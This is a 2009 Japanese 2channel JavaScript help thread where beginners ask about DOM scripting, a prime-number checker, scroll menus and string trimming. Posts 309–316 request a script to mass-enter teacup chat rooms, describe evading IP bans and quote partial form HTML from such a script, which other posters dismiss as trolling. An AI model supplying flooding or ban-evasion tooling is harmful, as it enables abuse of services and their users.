動的生成してるようだからこうするのが手っ取り早そう
var optionIndex = ["aaa" : 1, "bbb" : 2, "ccc" : 3, "ddd" : 4]; // ここも動的生成、もしくはhoge_x生成用データの流用
selectAll(optionIndex["bbb"]);

244 :Name_Not_Found:2009/07/23(木) 11:50:19 ID:???
つい1から並べたけどselectIndexって0オリジンだっけw

245 :Name_Not_Found:2009/08/03(月) 17:01:25 ID:???
ttp://phpspot.org/blog/archives/2009/03/if_currentpagej.html


に似た感じでアンダーラインだけでなく
aタグのもなくすことは可能ですか?

押してもボールドされるだけって感じです。

246 :Name_Not_Found:2009/08/03(月) 17:26:40 ID:???
>>245
もうちょっと詳しく言わないとわからないな。
どっちをクリックしたとき?現在のページを表すボールドの方?それともリンクの方?

247 :Name_Not_Found:2009/08/03(月) 19:23:53 ID:???
レスありがとうございます。

現在を表すのボールドの方です。




248 :Name_Not_Found:2009/08/04(火) 16:21:41 ID:jiZN7HDz
教えてエロい人
java script を勉強したいのですが、おすすめの教本はありまつか?

249 :Name_Not_Found:2009/08/04(火) 22:16:05 ID:???
ありますん。

250 :Name_Not_Found:2009/08/04(火) 22:48:20 ID:???
どっちゃねん!

251 :Name_Not_Found:2009/08/05(水) 10:04:20 ID:???
>>248
オライリー

252 :Name_Not_Found:2009/08/14(金) 16:29:36 ID:ME+bLNwd
初めまして。javascritp初心者です。失礼ながら質問があります。ここでやりたいことは、10x10のセルをつくり、個々のセルをクリックできるようにします。 そして、クリックをすると、そのセルの背景色が変わるということです。
どうぞよろしくお願いします。
<title>10X10</title> <script type="text/javascript">
//<![CDATA[
function bgSwap(TD) {
if (TO.style && TD.style.backgroundColor)
TD.style.backgroundColor = 'pink';
else
TD.style.backgroundColor='#ff0000';
}
function gridtable(){
var table = document.createElement('table');
var tbody = document.createElement('tbody');
table.style.border = "0";
for(var i = 1 ; i <= 10; i ++ ){
var tr = document.createElement('tr');
for(var j = 1 ; j <= 10; j ++ ){
var td = document.createElement('td');
td.style.border = "0";
td.style.width = "30";
td.style.height = "30";
td.style.textAlign = "center";
window.event.onclick = bgSwap(td);
tr.appendChild(td);
}
tbody.appendChild(tr);
}
table.appendChild (tbody);
document.getElementById("T").appendChild(table);
}
//]]> </script> </head> <body onload="gridtable()" bgcolor = "aqua"> <div id="T" ></div>

253 :Name_Not_Found:2009/08/14(金) 23:17:38 ID:???
なんでこんな長いスクリプトが必要かわからん

function 関数名(セルのID,カラー16進数){
var obj = document.getElementById(セルのID);
obj.style.backgroundColor = カラー16進数;
}

html側
<td id="セルのID">
<a style="cursor:pointer;cursor:hand;" onclick="関数名('セルのID', 'カラー16進数')"> </a>
</td>

関数名は好きな名で
セルのID及びカラー16進数は任意の引数に変更すること!

これだけでいけないか?

254 :Name_Not_Found:2009/08/15(土) 05:50:51 ID:1h71jQrw
10×10のセルを作り

255 :Name_Not_Found:2009/08/15(土) 14:23:58 ID:???
無知にも程がある

256 :Name_Not_Found:2009/08/15(土) 17:51:06 ID:???
253でも100個のセルにそれぞれIDを付ければできるが
面倒だわな

257 :Name_Not_Found:2009/08/15(土) 19:01:35 ID:???
知識ゼロでは無理だろうな
無報酬で期待する方もバカだが
マルチな時点で人として屑だけどな

258 :Name_Not_Found:2009/08/18(火) 07:20:16 ID:???
ttp://virus.okwave.jp/qa2736613.html
これにlivetubeの右側の掲示板のような更新+自動スクロールするチェックボックス付けて下さい


259 :Name_Not_Found:2009/08/21(金) 21:40:24 ID:???
サイ本以外のおすすめ本は、
http://www.amazon.co.jp/gp/product/4274066606/

Ajax の解説は、最後に少しあるだけだが、内容が理解しやすく、初心者でも無理なく読めると思う。

260 :Name_Not_Found:2009/08/22(土) 00:21:04 ID:???
ttp://hwg.web6.jp/armadillobrain/xxxsp/lightboxab/lightbox_ab_01.html
このページで配布されているLightBoxの以下の点を修正できませんか?
1.Firefoxで「同じウィンドウで開く」「新しいウィンドウで開く」を押すと、保存のメッセージが出てしまう。
2.ビューウィンドウがページスクロールに追従しない。
可能でしたらお願いいたしますm(_ _)m

261 :Name_Not_Found:2009/09/04(金) 18:24:51 ID:???
selectタグのname名って取得できたっけ?

262 :独学:2009/10/05(月) 03:35:57 ID:zbF33XaE
学校の先生に素数判定の簡単なプログラム書いてこいと言われて、インターネットで
色々調べて見て様々なプログラミング言語で書いてあるのを見つけたました。。。

でもindex.htmlのような形でサーバーにアップして実行出来るようにと言われたのですが正直分かりませんorz...

もし分かる方いたらindex.htmlにどのようなコードを書かないといけないか教えていただけないでしょうか><??
宜しくお願いしますm(__)m

263 :Name_Not_Found:2009/10/05(月) 09:45:23 ID:???
>>262
マルチは嫌われるからあちこちに書き込まない方がいい
何も考えず実行できることだけ満たされればいいなら下の貼りつければ動く
あとは実際の素数判定の計算式入れて

<html>
<body>
<script type="text/javascript">
// 素数判定関数
var eratosthenes = function(num) {

 // ... 素数判定の計算式

 // 判定結果のreturn
 return true; // or false
}

// ユーザの入力
var num = window.prompt('input number');
if (/[0-9]+/.test(num)) {
 alert(eratosthenes(num)); // 素数判定関数の呼び出しと出力
}
</script>
</body>
</html>

264 :独学:2009/10/05(月) 12:30:07 ID:???
>>263
すいません(汗これからは気を付けます><
ありがとうございますm(__)mホントに助かりました!orz..

判定結果のfalseがうまく表示されなくて今から自分で直すのに挑戦したいと思います。

265 :独学:2009/10/05(月) 13:34:41 ID:???
>>264
結果が上手く表示されない><....

266 :Name_Not_Found:2009/10/05(月) 13:38:02 ID:???
現状で出来てるところまで書いてみたら?

267 :独学:2009/10/05(月) 13:40:47 ID:???
>>265
eratosthenesと判定結果のだし方を結びつけるのがなかなか難しい><
アドバイスかやり方ご存知ですか?


268 :独学:2009/10/05(月) 13:44:02 ID:???
>>266
eratosthenesと判定結果のだし方を結びつけるのがなかなか難しい><
アドバイスかやり方ご存知ですか?


269 :Name_Not_Found:2009/10/05(月) 13:54:10 ID:???
以降スルーで

270 :Name_Not_Found:2009/10/05(月) 15:06:29 ID:???
>>267
今できてる所までのコードを貼りつけて。

>>263の、

// 素数判定関数
var eratosthenes = function(num) {

 // ... 素数判定の計算式

 // 判定結果のreturn
 return true; // or false
}

の中身をどうやって書いてるかそのまま貼りつけるだけでいいので。
ただの「教えて」だけだと>>269の言うとおりスルーになるから生産性ないよ

271 :Name_Not_Found:2009/10/05(月) 15:26:11 ID:???
retrun true;がそのまま残ってるんじゃねーのw

272 :独学:2009/10/05(月) 16:07:43 ID:???
>>271
そのまま残ってるというのfalseは機能しないって事ですか?
まだまったくの初心者ですいません><

273 :Name_Not_Found:2009/10/05(月) 16:23:54 ID:???
>272
たぶん、もうスルーされると思う。人に質問する時は質問された人の立場になってみてね。
自分のレスだけ読み返して読んでみて、的確なレスを返せる人がいると思うかい?

274 :独学:2009/10/05(月) 16:43:54 ID:???
>>273
確かに的確に答えてもらえないようなレスになってました、、
自分が理解出来ないのところに首を突っ込んだせいですね。。。

275 :Name_Not_Found:2009/10/05(月) 17:18:29 ID:???
>>274
そんなレスしなくていいからeratosthenesの中身どうやって書いたかをコピペしてくれ
とりあえずコピペすればいいだけなんだから

276 :独学:2009/10/05(月) 18:05:26 ID:???
>>275
これ素数判定の書いたアルゴリズムです。。
int main()
{
int i,n;
for(;;){
printf("入力 ");
scanf("%d",&i);

for ( n = 2; n < i; n++){
if ( i % n == 0){
break;
}
}
if (n == i){
printf("%d 素数\n",i);
}
else{
printf("%d 整数\n",i);
}
}
}

277 :Name_Not_Found:2009/10/05(月) 18:28:04 ID:???
>>276
なるほど。C言語のプログラムをどっかから持ってきたか作ったかしたのかw
それは大変だな。とりあえず最大限生かして書き変えたから>>263の<script></script>の間を下のに書き換えて。
とりあえずjavascriptにintとかなくて全部varだと思った方がいいのと、出力はDOM考えないなら基本的にalertね。

var eratosthenes = function(i) { // 素数判定関数
 var ret; // 戻り値
 var n = 2;
 for (; n < i; n++){
  if ( i % n == 0){
   break;
  }
 }
 if (n == i){
  ret = i + " 素数";
 }
 else{
  ret = i + " 整数";
 }
 return ret;
}
// ユーザの入力
for (;;) {
 var num = window.prompt('入力');
 if (/[0-9]+/.test(num)) {
  alert(eratosthenes(num)); // 素数判定関数の呼び出しと出力
 }
 else {
  alert('終了します');
  break;
 }
}

278 :277:2009/10/05(月) 18:29:17 ID:???
書き忘れた。
そのままだと無限ループで永遠終わらないから数字以外入力した時に終わるようにしてある

279 :Name_Not_Found:2009/10/05(月) 19:34:12 ID:???
すみません。少し依頼させて下さい。
当方は Windows の EmEditor というエディタを使用しています。
その中のフリーのJSマクロに機能を追加したいと思っています。

基本としたいマクロは↓のものです。
 http://www37.atwiki.jp/emeditor/pages/56.html

このマクロに追加(依頼)したい機能は「各設定のコメント設定の取得と反映」です。

自分ではプログラミングは全く判らないので、キチンと対価を払って
専門知識を持つ人に依頼したいと思って書き込ませて頂く次第です。
そんなにたくさんの金額が出せるわけではありませんが、
引き受けて下さる方がいらっしゃったらお願い致します。

280 :独学:2009/10/06(火) 01:07:48 ID:???
>>277
ありがとうございますm(__)m上手く機能しました。。

自分で構造理解して自力でも書けるように頑張ります
有り難うございます。。

281 :Name_Not_Found:2009/10/07(水) 19:20:53 ID:???
スクロールに応じて動くメニューを作りたいのですが、
下記で詰まっておりますorz
#menu {
position: relative;
top: 0px;
left: 0px;
}

function hoge()
{
var e = document.getElementById( "menu" );
var p = e.parentNode;
var scrollY = document.body.scrollTop + 0;

if( p.offsetHeight - e.offsetHeight > scrollY )
e.style.top = scrollY + "px";
}

<body onScroll="hoge()">

親ボックスの範囲内で動かすには、どうしたら良いのでしょう?

282 :Name_Not_Found:2009/10/07(水) 20:25:48 ID:???
>>281
ダメだ。理解しようと思ったけどわからん
> 親ボックスの範囲内
これどういうこと?HTMLの構造がわからん

<div id="header">
 <div id="main">menu</div>
<div>
<div id="contents">contents</div>

こういう意味?

283 :Name_Not_Found:2009/10/07(水) 20:31:53 ID:???
>>282
そういう意味です(;^^

上下にスクロールしたら<div id="menu"></div>も一緒に動くようにはなったのですが、
下にスクロールし続けると親ボックスの<div id="menuBlock"></div>から外に出てしまうのですorz

284 :Name_Not_Found:2009/10/07(水) 22:24:11 ID:uCzP8AYT
>>283
パッと思いつくやり方はその親ボックスの下の要素の位置を保持しておいて、
それより上にある間だけ実行するとかかな。
offsetHeight使ってるならその下の要素の位置もすぐ求められるでしょ?
>>282で言うcontentsの位置を保持して、menuがそれより下に来ないようにするとか

285 :Name_Not_Found:2009/10/07(水) 22:55:05 ID:???
>>284
今頃気付いたのですが、「e.style.top - 0」は数値ではないですよね?

286 :Name_Not_Found:2009/10/07(水) 22:59:05 ID:???
alertで確かめたらNaNと出てきましたorz

287 :Name_Not_Found:2009/10/07(水) 23:08:24 ID:???
alert( Number( e.style.top ) );としてもNaNと出るのですが・・・

ブラウザはFirefoxです(・ω・)

288 :Name_Not_Found:2009/10/07(水) 23:46:18 ID:???
alert( e.style.top )見てから考えろ

289 :Name_Not_Found:2009/10/08(木) 00:10:50 ID:hchNy0NR
>>287
それをやるならparseInt(e.style.top)な
そうすると数字だけ取り出してくれる

290 :Name_Not_Found:2009/10/08(木) 00:19:11 ID:???
>>289
ありがとうございます。

ところで先ほどから<div>の高さを取得しようと試みているのですが、
offsetHeightとしても正確な値が取得できないのですorz
(明らかに少ない値が出る)

291 :Name_Not_Found:2009/10/08(木) 13:07:05 ID:???
>>283
どこができないんだ?と思ってちょっと試してみたけど、
Opera10,Chome,Safari,IE6,Firefox3.5
の全部で上手くいった
構造が違うのか?

こういう構造で試した
<body onScroll="hoge()">
 <div id="main">
  <div id="menuBlock" style="height:300px;background-color:#eee;">
   <div id="menu">menu</div>
  </div>
  <div id="contents"></div>
 </div>
</body>

292 :Name_Not_Found:2009/10/08(木) 18:32:17 ID:???
>>291
すみません・・・自己解決しました(;^^

どうやらJavaScriptではなくてHTMLの問題だったようですorz
当方、テーブルレイアウトでして<td></td>のなかに<div id="menuBlock"></div>を入れているのです。
そこで<td>の高さをoffsetHeightで取得したらちゃんと動きました。

それにしても<div id="menuBlock" style="height:100%;">としても
offsetHeightで正確な高さを得られないのはなぜでしょう?

293 :Name_Not_Found:2009/10/08(木) 19:46:41 ID:???
>>292
>正確な高さ
定義が違えば正解も違うってやつじゃない?

https://developer.mozilla.org/en/Determining_the_dimensions_of_elements
英語だけど問題ないでしょう

294 :Name_Not_Found:2009/10/08(木) 22:28:49 ID:???
>>294
英語なので意図は解りませんでしたが、図が参考になりました(;^^

ちなみに今のところ以下のソースで落ち着いてます。

function init()
{
 var e = document.getElementById( "menu" );
 var p = e.parentNode;
 var scrollY = document.body.scrollTop + 0;
 var scrollH = p.clientHeight - e.offsetHeight;

 if( scrollY < scrollH )
  e.style.top = scrollY + "px";
}

IE8、Firefox3.5、Safari4、Chrome3、Opera10で動作確認しましたので、
これでいこうと思います。

295 :Name_Not_Found:2009/10/08(木) 22:30:59 ID:???
あ、間違えた・・
>>293
でした(;^^

296 :Name_Not_Found:2009/10/12(月) 14:15:01 ID:???
JavaScriptから指定idを持つ body を持つページの場合だけ
背景色を変更しようと次の様にコードを書いたのですが、
色が変わりません。どこに問題があるのでしょうか?

<body id="id_test" bgcolor="lime">

function ChangeBgColor()
{
document.getElementById('id_test').bgcolor = "red";
}
※onclick = ChangeBgColor() はボタンに設定しています。

297 :Name_Not_Found:2009/10/12(月) 14:41:13 ID:???
>>296
setAttribute経由でおk

298 :Name_Not_Found:2009/10/12(月) 14:45:40 ID:???
ここ質問スレじゃなかったか
document.body.setAttribute("bgcolor", "red");
少なくともFx3.5のこのコードで動く

bodyにgetElementByIdできるかは知らない
あとエラーチェックするクセはつけとけ
var e = document.getElementById('id_test');
if (!e) { return; } // 値がないならなにもせず関数終了


299 :Name_Not_Found:2009/10/12(月) 14:59:47 ID:???
>>297
サンクス

300 :Name_Not_Found:2009/10/12(月) 15:00:33 ID:???
>>298
コードまでお教え頂きどうもありがとうございます。
非常に勉強になりました。どうもです。

301 :◆M21AkfQGck :2009/10/13(火) 18:21:32 ID:???
別スレでプログラムがPCで上手く動作しないことを相談し、
自分なりに修正できる点は全て修正したつもりなのですが
動作しますでしょうか?
動作しなければ修正ヵ所等を教えていただけたら幸いです。
ちなみに作成/動作環境はdocomo SH903iで
修正前はドコモとソフバンでは動作しましたがIEで動作しない状況でした。

302 :Name_Not_Found:2009/10/13(火) 18:26:07 ID:???
何を言っているんだ
あと大文字でSAGEるな

303 :Name_Not_Found:2009/10/13(火) 20:18:18 ID:6CdctJW2
http://www.dff.jp/

上記の”あなたのクリック募金での募金総額は?円” の
?にあたる部分のような他のページの処理が行われたことをインクリメントする
プログラムをスクリプトで書けるものでしょうか?

処理の概念的なものでも頂ければと思います。宜しくです。

304 :Name_Not_Found:2009/10/13(火) 22:17:57 ID:mbYfk7Mp
>>303
それ向こうのスレのときからずっと試してるんだけど、一部エラーになるんだよね
ログインしないと金額0円のまま?それなら登録して試してみるんだけど。

305 :◆M21AkfQGck :2009/10/14(水) 06:03:15 ID:???
>>301これになります
http://indexroom-id.hp.infoseek.co.jp/test/JSgazoushokunin.html


306 :Name_Not_Found:2009/10/14(水) 10:44:34 ID:rggNnQJZ
>>304
ありがとうございます。
募金先ページのソースも見ていたら、クリックされるflash自身は
http://as.dff.jp/dbx.php?lid=XXXXXXのオブジェクトでした。

つまりコレって、募金の情報をdffが管理してるのであって、他のページの処理を計算してる訳ではないのですね。
自分のサイトに募金の状況が貼れたらいいかなと思ったのですが、難しいそうですねぇ〜
flashを貼り付けることは可能だと思いますが、flashだけだとなぜか
一ヶ月で約? 一年で約?の ?部分が見れなくて見栄えが悪いですし。。。

307 :Name_Not_Found:2009/10/14(水) 10:53:17 ID:???
現物見てないけど、たぶんflashが読み込むデータがクロスドメイン制限に引っかかってる

308 :Name_Not_Found:2009/10/17(土) 01:33:56 ID:a+bs1nMh
マウスが動いてから一秒後に動く前と動いた後のマウスのclientxとyの座標を表示させるスクリプトお願いします。

309 :Name_Not_Found:2009/10/20(火) 12:08:07 ID:???
こんにちは。別の板で紹介されて移動してきました。コピペですみませんがよろしくお願いします。
【 CGI&PHP名 】 よくわかりません
【 配布先URL 】http://chat.teacup.com/
【 依頼期限 】 無期限
【 依頼内容 】このチャットで連続入室できるJS(ジャバスクリプト)
このチャットで連続入室&全部屋同時入室&連続色変化のできるスクリプトを作った人がいました。
その人とコンタクトがとれて、メールでhtm方式で送ってもらい2ヶ月程遊んでいましたが、やりすぎたのかセキュリティが厳しくなったようでできなくなりました。
その作った人とは今はコンタクトがとれなくて、ここへきました。

一度退出ボタンを押さないと、ハンドルネームが変えられないようにシステムも変更されたようです。
先週までは何度入っても違うハンドルネームで入れたのですが・・・・
もし連続入室ができるスクリプトを作れるならばお願いします。
運営側で一つのIPに対してIDが一つというような設定になってるようです。
よくアクセス規制を食らいますが、その都度IPを変えてきました。

310 :続きです。:2009/10/20(火) 12:09:05 ID:???
スクリプトをもらった人のソースをみると一部ですがこうなっています。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS" />
</HEAD>

<SCRIPT LANGUAGE="JavaScript">

中間部分割愛します。
FORM ACTION="#" NAME="form1" METHOD="POST" target="ilf1">
<INPUT TYPE=HIDDEN NAME="codeck" VALUE="あ">
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="enter" VALUE="main">
ID:<INPUT TYPE=TEXT NAME="id" size=7>
name:<INPUT TYPE=TEXT NAME="nickname" size=25 maxlength=45>
<INPUT TYPE=SUBMIT VALUE="in" onClick="randid();">
こんな感じです。


311 :続きです。:2009/10/20(火) 12:11:42 ID:???
スクリプトを作成した当時のハンドルネーム「minikra」さんはこの連続入室はやろうと思えば、
一つのルームに対して3000〜6000人程入室できると言っていました。
メールでこのスクリプトをもらったときに、サーバーへの負荷を考慮すれば、300人までは大丈夫だと言われました。
上の続きの一部です。
</FORM>
</td>
<td>
<FORM ACTION="#" METHOD="POST" NAME="form1c" target="ilf1">
<INPUT NAME="enter" VALUE="exit" TYPE=HIDDEN>
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="id">
<INPUT VALUE="out" TYPE=SUBMIT onClick="mem();">
</FORM>
</td>
<td>
<FORM ACTION="#" NAME="formp" METHOD="POST" target="ilf1">
<INPUT TYPE=HIDDEN NAME="codeck" VALUE="あ">
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="enter" VALUE="main">
<INPUT TYPE=HIDDEN NAME="id">
name:<INPUT TYPE=TEXT NAME="nickname" size=36 maxlength=35>
<INPUT TYPE
=SUBMIT VALUE="in" onClick="randid();">
このスレッドお気に入りに入れておくのでどなたか達人様よろしくお願いします。
現在は発言ごとに色が変わるグラデーションと、自動発言、全部屋順序入室ができます。
依頼は各部屋に連続して入室できるようなスクリプトです。

312 :Name_Not_Found:2009/10/20(火) 12:12:51 ID:???
>>309
何に使うのそれ? 荒らし用途以外に思いつかないんだけど。

313 :Name_Not_Found:2009/10/20(火) 12:15:09 ID:???
釣りだろうが、本気だとしたら確かに荒らしの思考回路だなと思った。

314 :Name_Not_Found:2009/10/20(火) 12:17:32 ID:???
>>309-311
一部だけ見せられても手の出しようが無い。
どこかに全部うpしてくれ。

315 :Name_Not_Found:2009/10/20(火) 12:19:41 ID:???
>>312 違う板でも同じこと聞かれましたがチャットで遊ぶためですよ。
>>313 よくどの部屋でも荒らしと呼ばれています。
但し、荒らし連合国軍ではありません。荒らし連合国軍は田代砲と言われているものを、
使っていたようです。私は田代砲ではなくスクリプトによる入室&連続発言&連続色変化&各部屋順序入室などをして遊んでいます。
一つのルームに対して300人までならおkと太鼓判もらっています。
スクリプトを作成した本人にです。

316 :Name_Not_Found:2009/10/20(火) 12:22:15 ID:???
>>314 全部ですか?このスクリプトは他人に渡してはいけないと製作者の当時のコテハン
「minikra」さんに言われていますので・・・・私と直接メールしますか?

>>313 釣りではないです。この遊びは爽快です。

317 :Name_Not_Found:2009/10/20(火) 12:25:44 ID:???
以降スルー推奨

318 :Name_Not_Found:2009/10/20(火) 20:22:48 ID:???
鯖からみて、JavaScriptだろうが田代砲だろうが、同じ動作するなら荒らしだと思っていた
田代砲さえ使わなければ荒らしじゃないのか
目からウロコだぜ

鯖負荷について、スクリプト作者が大丈夫ってのもよく分からないけど
鯖管理側じゃないと負荷は分からないと思っていたから、またまた目からウロコだぜ

319 :Name_Not_Found:2009/10/21(水) 01:22:39 ID:???

var s = "AAA\r\nBBB\r\nCCC\r\n";


という文字列のうち s の末尾にある"\r\n"だけを削除するにはどうすれば良いでしょうか?

1文字ずつ比較して削除する事も出来ますが、
出来るだけスマートに削除したいです。

.NetのtrimEndみたいな関数はありませんか?

320 :Name_Not_Found:2009/10/21(水) 01:32:03 ID:???
s = s.replace(/\r\n$/, "");

321 :Name_Not_Found:2009/10/21(水) 01:33:52 ID:???
s.s.trimRight();
でもいいのか、非標準だけど

322 :Name_Not_Found:2009/10/21(水) 01:49:53 ID:???
>>320 >>321
やっぱりスマートな構文ってあるのですね。
ありがとうございました。

323 :Name_Not_Found:2009/10/21(水) 09:34:13 ID:???
スマートという語を使い出すとロクなことがない

324 :Name_Not_Found:2009/10/21(水) 12:29:16 ID:???
綺麗な構文

325 :minikra:2009/10/21(水) 13:38:17 ID:CbGyI56F
>>311
ちなみに貼り付けてるそれはスクリプトではなくてタグでしょ。
生憎teacupではそのスクリプトはもう使えないよ。
どちらにしても最近遊びに行かないから調べてないし直すきもないので。
以後別のminikraが活躍してくれますよきっと。
perlでね。
てかなんでperlなんだか;
それと素人プログラム恥ずかしいから他の人に渡すなよ?!

326 :スーパーひたち:2009/10/21(水) 13:49:14 ID:???
>>325  !!!!!!!!!!!!!!師匠!?

327 :スーパーひたち:2009/10/21(水) 13:53:39 ID:???
ぬぬぬぬ・・・・・・別のminikraとは一体!?


328 :Name_Not_Found:2009/10/21(水) 15:44:39 ID:???
何この茶番

329 :Name_Not_Found:2009/10/21(水) 17:03:50 ID:???
すみません、どうしても分からないのでお助け下さい

新しいウインドウを開いて、数秒後に違うページに移動後
『2番目のページが読み込み終わったら』更に次のページに移動するスクリプトを作りたいのですが
setTimeout使わずに、2番目が読み込み終わったら処理って出来ますでしょうか?

function a() {
WindowObject = window.open(aaa);
setTimeout("b()", 1000);
}

function b() {
WindowObject.location.href = bbb;
setTimeout("WindowObject.href = ccc", 3000); ←今はここの秒数で調整してます;;
}

330 :Name_Not_Found:2009/10/21(水) 17:05:55 ID:???
2番目のページにその処理書けば良いんじゃない?

331 :Name_Not_Found:2009/10/21(水) 17:08:30 ID:???
2番目のページは、他人のサイトのページなので弄れないんです;;

332 :Name_Not_Found:2009/10/21(水) 17:21:20 ID:???
じゃフレーム使えば?

333 :Name_Not_Found:2009/10/22(木) 03:07:47 ID:???
>>332
インラインフレーム使って弄ってたら出来ました!どうもありがとう
新しいウインドウ開くより管理が簡単なんですね、勉強になりました

334 :Name_Not_Found:2009/10/24(土) 20:20:23 ID:???
「大」「中」「小」のボタンがあって、押したボタンの画像をjavascriptで置き換えることはできたんだけど、これをクッキーに保存したい場合どういう風にソース書けばいいですか?
ソース
js--------------
function swapImg(num){
if(document.getElementsByTagName) {
var images = document.getElementsByTagName("img");
for(var i=0; i < images.length; i++) {
if(images[i].getAttribute("src").match("2.gif")){
images[i].setAttribute("src", images[i].getAttribute("src").replace("2.gif", "1.gif")); } }
for(var i=0; i < images.length; i++) {
if(images[i].getAttribute("src").match("im_size-"+num)){
images[i].setAttribute("src", images[i].getAttribute("src").replace("1.gif", "2.gif")); } } } }
html-------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<title></title>
<script type="text/javascript" src="java.js"></script>
</head>
<body>
<img src="im_size-s1.gif" onclick="swapImg('s')" id="small">
<img src="im_size-m1.gif" onclick="swapImg('m')" id="middle">
<img src="im_size-b1.gif" onclick="swapImg('b')" id="large">
</body>
</html>

335 :Name_Not_Found:2009/10/25(日) 18:19:27 ID:???
>>334
正直, 放置するかどうか迷いまくってしまった.
興味よりも面倒臭さが先に立つんだよねぇ.
そもそも きちんと動くのを確認済 ?!
検証していないけど何かと問題の多い setAttribute を使ってるので気になる.

サンプルを作ってどこかに upload したほうが答えやすいんじゃないかな ?

336 :Name_Not_Found:2009/11/06(金) 06:54:26 ID:???
salvage

102 KB [ 2ちゃんねる 3億PV/日をささえる レンタルサーバー \877/2TB/100Mbps]

取りに行ったけどなかった。次は一時間後に取りに行くです。
新着レスの表示

掲示板に戻る 全部 前100 次100 最新50
名前: E-mail (省略可) :


read.cgi ver 05.0.7.8 2008/11/13 アクチョン仮面 ★
FOX ★ DSO(Dynamic Shared Object)